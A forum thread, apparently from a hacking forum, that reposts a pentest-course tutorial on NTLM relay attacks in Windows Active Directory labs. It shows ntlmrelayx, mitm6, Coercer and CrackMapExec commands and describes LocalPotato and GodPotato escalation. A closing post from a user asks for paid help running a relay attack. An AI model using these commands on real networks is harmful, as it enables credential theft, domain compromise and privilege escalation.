• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Relay атаки

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Автор статьи: Александр Колесников
Статья подготовлена в преддверии старта курса: «Пентест. Практика тестирования на проникновение».

В этом цикле статей попробуем воспроизвести максимальное количество Relay атак на инфраструктуру Windows. Рассмотрим настройку инфраструктуры, ее состав и версии Windows.

Relay​

Лучшее описание этого термина, это описание ситуации, когда он может быть применен. Relay - это атака, в которой злоумышленник смог провести систему и создал условия man-in-the-middle атаки, когда он может контролировать трафик между клиентом и сервером.

По сути это означает, что можно передавать вообще любую информацию от имени клиента в сторону сервера и наоборот. Поэтому атакующему не составляет труда через себя пропускать запросы для аутентификации без изменений и добиваться идеальных условий для проведения атаки Relay.

Инфраструктуры под управлением операционной системы Windows могут быть уязвимы для такого рода атак но, чтобы их провести, злоумышленник должен попасть в локальную сеть.

В наших статьях мы будем подразумевать, что у злоумышленника уже получилось попасть в локальную сеть и теперь ему необходимо повысить свои привилегии или собрать больше информации о системе. Для этого он будет стараться использовать Relay атаки.

Есть ли ограничения у атак Relay? На самом деле Relay включает в себя целый набор атак, целью этих атак могут быть различные действия и сборы дополнительных данных. Однако, чтобы научиться их применять правильно, нужно понимать, какие существуют возможности.

Первый пункт, который нужно знать - это какие существуют протоколы в инфраструктуре, на которые можно устроить Relay. В сети можно найти достаточно интересные диаграммы, где показывается какие протоколы куда можно направлять. Несколько примеров картинок представлено ниже:

ntlm_rezume

ntlm_rezume

Красным выделены пересечения протоколов, которые Windows не позволит выполнить Relay, а зеленые - это те протоколы, которые дают шанс атаке на успех. Почему всё так не точно? Каждый выпуск KB может ломать закономерности, поэтому нужно на каждой конкретной версии Windows проверять те данные, которые расположены на картинке.

Также в сети можно найти вот такую картинку относительно возможных протоколов для проведения Relay:

ntlm_relay

ntlm_relay

Итого, имеем набор примерных границ, где должен работать Relay, теперь попробуем сделать несколько тестов.

Настройка стенда​

Не всегда возможно настраивать машины в облаке, где нет лимита на вычислительные возможности. Поэтому будем стараться оптимизировать стенд для работы с Relay атаками под систему, где есть от 400 Гб свободного места на жестком диске и 8 Гб оперативной памяти.

Для настройки стенда нам понадобится:
  • Virtual Box или аналогичная система виртуализации
  • Набор образов ОС (найти можно так же в сети)
Основные тесты будем проводить с использованием операционной системы Windows Server 2016 в Core версии и в виде Desktop Experience.

Итого машин будет 4:
  • Kali Linux оказалась чересчур прожорливой, поэтому можно просто взять Ubuntu Server и поставить весь необходимый софт. Займет намного меньше места, а при запуске можно ставить хоть 512 Мб оперативной памяти, на скорости работы не повлияет.
  • Windows Server 2016 Core - контроллер домена relay.lab
  • WIndows Server Core 2016 - просто добавлен в домен Relay.lab
  • Windows Server Core 2016 - просто добавлен в домен Relay.lab
Выполнение настройки для Core версии Windows Server требует знаний powershell, потому что по сути, больше в системе ничего и нет. Однако, если стант сильно тяжело в настройке, такой сервер всегда можно добавить в Desktop версию используя "Server Manager". Тогда настройка будет ничем не отличаться от обычной настройки сервера Windwos.

Ниже будут приведены команды для настройки каждого сервера с комментариями.

Для первого сервера напираем последовательно команды из списка ниже:
Код:
Rename-computer -newname DC1

$ipaddress = "192.168.56.100"

New-NetIPAddress -InterfaceAlias Ethernet -IPAddress $ipaddress -AddressFamily IPv4 -PrefixLength 24

Restart-Computer

Install-WindowsFeature AD-Domain-Services -IncludeManagementTools

Install-ADDSForest -DomainName "relay.local" -CreateDNSDelegation:$False -DomainMode Win2012R2 -ForestMode Win2012R2 -DomainNetbiosName RELAY -InstallDns:$True -DatabasePath "C:\NTDS" -SysvolPath "C:\SYSVOL" -LogPath "C:\Logs"
Все команды должны позволить установить необходимые настройки на сервер для создания контроллера домена. В командах указаны данные для имени сервера и домена, их можно заменить на те, которые хотите использовать вы.

Далее необходимо зайти на каждый из оставшихся 2 сервером и прописать следующие данные:
  1. Имя компьютера
  2. DNS сервер, им будет первый сервер, который мы сделали контроллером домена.
  3. Ввести сервера в домен
Все необходимые манипуляции можно выполнить из меню, которое вызывается на команду sconfig:

sconfig

sconfig

Наименования меню можно выбирать по соответствующим номерам из списка, после введения данных, у вас будет готова мини инфраструктура для тестирования Relay атак. Дальнейшие настройки для проведения атак будем рассматривать в рамках проведения атаки. первая часть описания будет показывать что нужно настроить, если стандартная настройка не будет позволять выполнить атаку.

Набор атак​

Определимся с полным списком атак, которые возможны для Relay. В нашей статье будем придерживаться классификации, в основе которой располагаются действия, которые позволяет выполнить Relay.
  • Dump Credentials
  • Relay to SOCKS
  • Active Directory Enumiration
  • New computer create
  • Privilege Escalation
  • Delegation
  • DCSync
Как видно список довольно внушительный, но он еще может быть дополнен данными из картинок выше. То есть каждую атаку можно производить только в условиях работы каждого из протоколов. Поэтому Relay считается одним из самых сложных наборов атак.

Dump Credentials​

Атака, которая подразумевает, что будет произведена команда, которая заставит удаленно скопировать данные пользователей из хранилища ОС. Такой дамп вызывается через сервис, который обслуживает доступ к реестру внутри системы.

Так как системой для атаки будет настроена Ubuntu, поэтому стоит поставить в систему следующие инструменты:
  • impacket
  • Crack Map Exec (cme)
Все инструменты и инструкции по их установке можно найти в их репозиториях.

Любая атака Relay начинается со сбора данных о системах, которые работают в сети. Сбор можно выполнить проще всего с помощью инструмента cme:
Код:
cme smb 192.168.56.1/24
Полученный список данных можно использовать для самого простого способа Relay SMB->SMB. Теперь попробуем провести атаку Relay.

Кстати, для того чтобы атака смогла выполнить полезную нагрузку, нужно чтобы пользователь захотел что-то отправить на сервер, иначе никаких Relay действий произвести не получится, поэтому нужно чтобы пользователи начинали выполнять работу с сетевыми шарами (в случае работы с SMB).
Код:
ntlmrelayx.py -t smb://$TARGET -smb2support
Дальше нужно с машин в стенде открыть доступ к нашей системе, то есть системе, где установлен Ubuntu. Вообще для этих целей можно и нужно пользоваться различными ухищрениями, чтобы пользователю нужно было делать поменьше действий, но об этом будем говорить в следующей части статьи.

Результат атаки можно увидеть ниже:

smb->smb

smb->smb

В последующих частях попробуем провести атаку без взаимодействия пользователя с системой атакующего и исследуем Relay для HTTP и LDAP протокола.
 
В статье мы продолжим знакомиться с атаками Relay в инфраструктуре Windows Active Directory. Начальные настройки тестового стенда можно найти в первой части этого цикла статей. А сейчас попробуем провести Relay атаки на взаимодействие по протоколам SMB->LDAP, HTTP->LDAP и HTTP->RPC.

Используемые протоколы​

Перечень протоколов, которые могут быть использованы для проведения атак типа Relay на самом деле довольно обширен. Все используемые протоколы продиктованы функционалом операционной системы Windows, а именно - NTLMSSP (NT Lan Manager (HTLM) Security Support Provider) этот механизм как раз и срабатывает автоматически в ОС, когда необходимо пройти процедуру аутентификации. Беда этого механизма заключается лишь в том, что аутентификация основана на challenge-response методах, которые изначально никак не были защищены, и только со временем в Windows были добавлены митигации, которые требуют проверки целостности и подлинности от пересылаемых данных. Поэтому сегодня пользователь для любого используемого протокола может настраивать состояние механизмов проверки целостности и подписи запросов и ответов. Причем некоторые настройки устанавливаются автоматически как устанавливается дополнительный функционал в операционную систему.

Для примера, приведем часть из списка протоколов, которые могут использовать NTLM в качестве способа проведения аутентификации:
  • RPC
  • SMB
  • HTTP
  • LDAP
  • IMAP
  • SMTP
  • POP3
  • ...
Стоит еще так же упомянуть, что протоколы, которые перечислены выше, могут использоваться клиентским программным обеспечением, которое устанавливается в операционную систему и оно тоже может стать целью для атаки. Кстати, если говорить о программном обеспечении, которое можно атаковать через Relay, то здесь можно вспомнить один интересный пример.

Интересное применение Relay атак​

Наверное одна из самых первых относительно простых Relay атак, которую легко использовать для эскалации привилегий - Hot Potato. Да, атака довольно старая, но метод, который лежит в её основе как раз демонстрирует, что использование Relay атак даже на локальной машине может принести очень много пользы.

Суть атаки заключается в том, что атакующему нужно выполнить несколько условий:
  1. Заставить систему запросить WPAD
  2. Подменить адрес на WPAD 127.0.0.1
  3. Подложить свой собственный WPAD
  4. Провести аутентификацию от имени ОС
Визуально весь алгоритм выглядит так:

HotPotato

HotPotato

Конечно же набор уязвимостей, которые позволяли так здорово заполучить привилегии пользователя SYSTEM исправили в далеком 16м году. Однако для эскалации привилегий на системах Windows 7, которые не содержат патчей MS16-077 и MS16-075, метод все еще может быть действенным.

Атаки Relay для получения повышенных привилегий развиваются и сегодня, перечень известных Potato можно найти ниже:
Для каждой атаки можно подобрать ОС Windows той версии, которая является уязвимой.

Relay практика​

Итак, просмотрев небольшой экскурс по Relay атакам, попробуем провести атаку HTTP->LDAP. Для этого нам потребуется:
  • Windows Server Core 2016 - контроллер домена.
  • Windows Server 2016 Desktop Experience - сервер в AD (можно делать контроллером, можно просто сервером в AD).
  • Ubuntu Server 20.04 в качестве системы, которая будет проводить атаку.
Инструменты на системе Ubuntu Server 20.04:
Атаки Relay, где конечным протоколом взаимодействия становится LDAP сложны тем, что последний даже в установке по умолчанию может требовать специальное подтверждение целостности, без которого не будет происходить подключение и взаимодействие системы. Поэтому провести атаку SMB->LDAP получится только вот с таким результатом:

smbToLdap

smbToLdap

Команды с картинки:
Код:
ntlmrelayx.py -t ldap://192.168.56.101 -smb2support
Можно ли с этим что-то сделать? Да, только нужно чтобы на сервере не была установлена настройка Forced Sign для взаимодействия LDAP (по умолчанию не выставлено). Поэтому мы можем прибегнуть к небольшой модификации запроса это достаточно просто сделать через флаг ntlmrelayx - remove-mic.

Remove-mic это флажок, который просто уберет Message Integrity Check параметр из данных, которые отправил клиент. Попробуем:

removeMicSMBToLdap

removeMicSMBToLdap

Похоже, что работает.

Теперь попробуем сделать Relay HTTP->LDAP, сложность этой атаки по сути не отличается ничем от предыдущей, разница только в запуске ntlmrelayx, вместо smb нужно написать ldap. Для этой атаки стоит помнить, что запуск аутентификации для сервера из powershell или просто обращением к Relay серверу недостаточно, нужно чтобы NTLM SSP действительно начал процесс аутентификации. В большинстве случаев Relay HTTP->LDAP выполняется с небольшим дополнением - сервер Relay будет запрашивать введение пароля пользователя.

Ниже пример таких действий:

HTTPToLDAPPassword

HTTPToLDAPPassword

Получается, если пользователь не введет логин и пароль, то чуда не произойдет, поэтому это может быть более сложным вариантом Relay.

HTTPToLdapRelay

HTTPToLdapRelay

Последний вариант Relay, который хотелось бы практически разобрать это HTTP->RPC. RPC протокол интересен тем, что позволяет обращаться не просто в стандартные приложения типа веб серверов, но и так же "общаться" с операционной системой. Как при этом выглядит атака:
Код:
ntlmrelayx -t rpc://192.168.56.101 -c "echo 'test' >> C:\test.txt"

ntlmrelayxRPC

ntlmrelayxRPC

И проверка результата:
relayResult

relayResult

Кстати, помимо запуска команд и создания пользователя из-под которого можно теперь достать копию базы с хэшами пользовательских паролей, можно так же собрать данных о Active Directory:

ADData

ADData

В следующей статье попробуем разобраться в последних версиях Potato эксплойтов и заставим системы без взаимодействия с пользователем.
 
Автор статьи: Александр Колесников
Статья подготовлена в преддверии старта курса: «Пентест. Практика тестирования на проникновение».

В предыдущих частях статьи можно найти инструкции для проведения NTLM Relay атак и как настроить тестовый стенд для них. В этой части попробуем разобраться в том, как работают методы для запуска Relay атак без участия пользователя, а так же рассмотрим последние версии potato эксплойтов для повышения привилегий.

Relay атаки без пользовательского взаимодействия​

В классической атаке Relay всегда требуется, чтобы первичное взаимодействие было начато клиентом или сервером, а атакующий уже использует эти данные для проведения атаки. Однако, взаимодействие между интересными системами не всегда возможно. Поэтому для проведения атаки могут быть использованы некоторые уловки. Ниже приведем несколько примеров.

Принудительная аутентификация​

В инфраструктуре Windows AD возможны несколько схем проведения аутентификации:
  1. Аутентификация, которая начинается по запросу клиента к серверу. В этом случае клиент пытается получить доступ к данным на сервере и NTLM SSP начинает процедуру автоматически.
  2. Аутентификации, которая выполняется от сервера к клиенту. В этом случае может быть проведено взаимодействие в ходе которого системы должны обменяться дополнительной информацией для начала стандартного алгоритма.
При втором типе взаимодействия можно использовать специальный метод, который позволяет заставить любую систему начать процесс аутентификации без предварительных действий с ее стороны.

Основной сложностью метода является поиск функций операционной системы, которые могут предоставить возможность работать именно со вторым алгоритмом. На момент написания статьи известны как минимум 15 методов, которые проверены и работают по второму алгоритму, а порядка 240 методов еще необходимо протестировать на разных версиях ОС.

Кстати, метод принудительной аутентификации еще называют coerce аутентификацией. Для автоматизации процедуры атак можно использовать инструмент Coercer. Для того, чтобы метод работал, в большинстве случаев необходимо иметь валидные логин и пароль пользователя домена, тогда есть гарантия, что функция, которую будет вызывать coerced метод, действительно начнет процедуру аутентификации.

Стандартный набор параметров для запуска инструмента Coercer:
Код:
Coercer.py -coerce -l listen.ip.add.res.ss -t server.ip.address -u 'username' -p 'password' -d 'domain'
При работе инструмента адрес, который указан после флага l будет получать запросы, которые генерирует клиент.

mitm6​

Достаточно древний метод, отличается от Coerced метода абсолютно всем с точки зрения реализации, и требует, чтобы на системах Windows был включен интерфейс IPv6, но не использовался для сетевого взаимодействия. Так же метод можно отнести к очень медленным, так как в инфраструктуре должны произойти процессы запроса dns сервера домена. Это может происходить в промежутке от 15 минут до получаса. Поэтому проведение такой атаки может потребовать достаточно много времени. Но результат позволяет произвести relay и собрать данные о домене.

Выполняется этот метод с помощью инструмента mitm6. инструмент из коробки позволяет взаимодействовать со скриптами пакета impcaket, поэтому ntlmrelayx можно запускать параллельно и атака будет выполняться совместно с mitm6.

Стандартный набор параметров для команды выглядит так:
Код:
mitm6.py -i active_interface -d domain.name --ignore-nofqdn
Попробуем реализовать атаки на нашем тестовом стенде. Для этого нужно только поставить инструменты на Ubuntu server. Все необходимые для этого инструкции есть на основных страницах репозиториев.

Практика​

Реализуем атаку mitm6, для этого на сервере атакующего запустим команды в двух терминалах:

4eaf456a519f4ad95c791e51dff8f865.png


И вторую команду для начала mitm6 атаки:
7fc9e5fd1fb21cba6ed1a3ee3f09226e.png


Ждем, пока произойдет обращение к DNS и нас ждет вот такой вывод в терминале ntlmrelayx:
cac33ad1daab2b18132265235910540c.png


Теперь попробуем провести атаку через принудительную аутентификацию. Для этого нужно запустить ntlmrelayx:
c5e07159f172c3367d07583392201224.png


Запускаем аутентификацию:
3246702a5033fc6af058b8aeff479cac.png


Получаем снова доступ к домену и успешную Relay атаку:
4a491b57ae2147ca99df431985cae65b.png

Таким образом можно проводить Relay атаки без взаимодействия с пользователем, всё, что нужно знать это адрес контроллера домена и, для лучшего результата, хотя бы логин и пароль от обычного пользователя.

Potatos​

Пожалуй, самыми популярными и успешными случаями использования Relay атак это набор эксплойтов, который получил название Potatos. Именно принцип атак Relay используется в них в качестве основной техники получения повышенных привилегий. Правда в каждом отдельном эксплойте используется дополнительная модификация, которая должна запутать систему или использовать её недостаток.

Последними эксплойтами в набор Potatos являются:
Разберем их по порядку.

Local Potato​

Этот эксплойт позволяет повышать привилегии в системе до любого пользователя, но обычно в качестве целевого используют пользователя System. Уязвимость на момент написания статьи получила идентификатор CVE-2023-21746, и, конечно же в последних версиях Windows должна быть уже исправлена.

Исходный код эксплойта можно найти у автора в репозитории - Local Potato. Данная "картошка" основана на уязвимости протокола NTLM, уязвимость является логической и состоит в том, что при локальной аутентификации по NTLM протоколу, механизм аутентификации использует специальные сообщения. Исследователи нашли способ при котором они могут запутать механизм аутентификации, создав клиент-серверное взаимодействие на локальной системе. Основным полем для триггера уязвимости является параметр Reserved в пакете протокола NTLM. Это поле получает специальное значение при локальной аутентификации.

Так как взаимодействие, где обнаружилась уязвимость было организовано по протоколу SMB, то результатом успешной эксплуатации является возможность чтения/записи в любую директорию системы, которая принадлежит пользователю, чей токен будет украден по результатам работы эксплойта.

Чтобы атака была наиболее универсальна для этого используют объекты COM, которые регистрируются системными сервисами, и на основе обращения к ним заставляют систему от имени пользователя System начать аутентификацию со своим клиентом, который развернут локально в системе. Результатом атаки является запись файла в произвольную директорию.

На момент написания статьи для операционных систем без патча, возможно запустить эксплойт за счет следующих COM объектов:
  • CLSID: {90F18417-F0F1-484E-9D3C-59DCEEE5DBD8} - Windows 10/11
  • CLSID: {854A20FB-2D44-457D-992F-EF13785D2B51} - Windows 10/11 и Windows Server 2016/2019/2022
  • CLSID: {A9819296-E5B3-4E67-8226-5E72CE9E1FB7} - Windows 11 и Windows Server 2022
Все объекты при доступе к ним позволяют форсированно начинать аутентификацию, это могут быть не единственные возможные объекты, на системах, где стоит дополнительный софт могут быть еще дополнительные.

Ниже можно видеть успешную эксплуатацию уязвимости:
c61dbbc0315471579207d8221867d28a.png

В данном случае эксплойт позволил переписать файл, который располагается в дочерней директории System32. Здесь стоит сделать ремарку, что такая перезапись возможна только если файл принадлежит пользователю из-под которого было начато взаимодействие, эксплойт, по-умолчанию, это делает из-под System пользователя. В Windows 10/11 этот пользователь не владеет системными файлами, которые есть в директории System32, но есть исключения, файл PrinterConfig, который используется print spooler сервисом доступен пользователю System, поэтому для общего доступа в систему с правами System можно его перезаписать и запустить печать в системе. Эскалация привилегий при этом завершится успешно.

God Potato​

На момент написания статьи самый последний эксплойт, который вышел в семействе "картошек". В основе этого эксплойта лежит несколько условий и "несовершенств" механизмов взаимодействия в ОС.

Первая особенность - для успешной эксплуатации уязвимости необходимо, чтобы пользователь имел 'ImpersonatePrivilege' привилегию. Эта привилегия известна тем, что можно выполнять подмену Primary токена, в системе, и тем самым выступать в роли некоторых пользователей.

Вторая особенность - механизм работы подсистемы DCOM. Полный перечень действий конечно же можно найти в исходном коде. По факту уязвимость состоит в том, что сервис rpcss при взаимодействии с oxid содержит недостаток, который можно использовать для форсированной аутентификации от имени пользователя System.

По заверению автора, эксплойт работает на системах от Windows 8 до Windows 11. Эксплойт как и прежде использует заранее найденные объекты подсистемы DCOM, для того чтобы инициировать взаимодействие и подменить токен процесса.

Сам по себе эксплойт достаточно специфичен и для успешного использования необходимо получить доступ в систему со стороны пользователя, который управляет сервисом баз данных или сервисом веб-приложений.
 
Доброго времени суток, господа, запускаю Relay Атаку, все как по манулу, в одном терминале
python3 ntlmrelayx.py -t ldap://10.20.10.90 -wh relay -6
В другом sudo python3 mitm6.py -i eth0 -d DOMAIN.local --ignore-nofqdn.
В итоге команды находятся в постоянной обработке, скрины прикрепляю ниже.
Помогите разобраться с проблемой, кто поможет полностью разобраться с релеем отблагодарю монетой.
Заранее всем спасибо.
 

Вложения

  • relay1.png
    relay1.png
    39 КБ · Просмотры: 25
  • relay2.png
    relay2.png
    23.2 КБ · Просмотры: 25


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх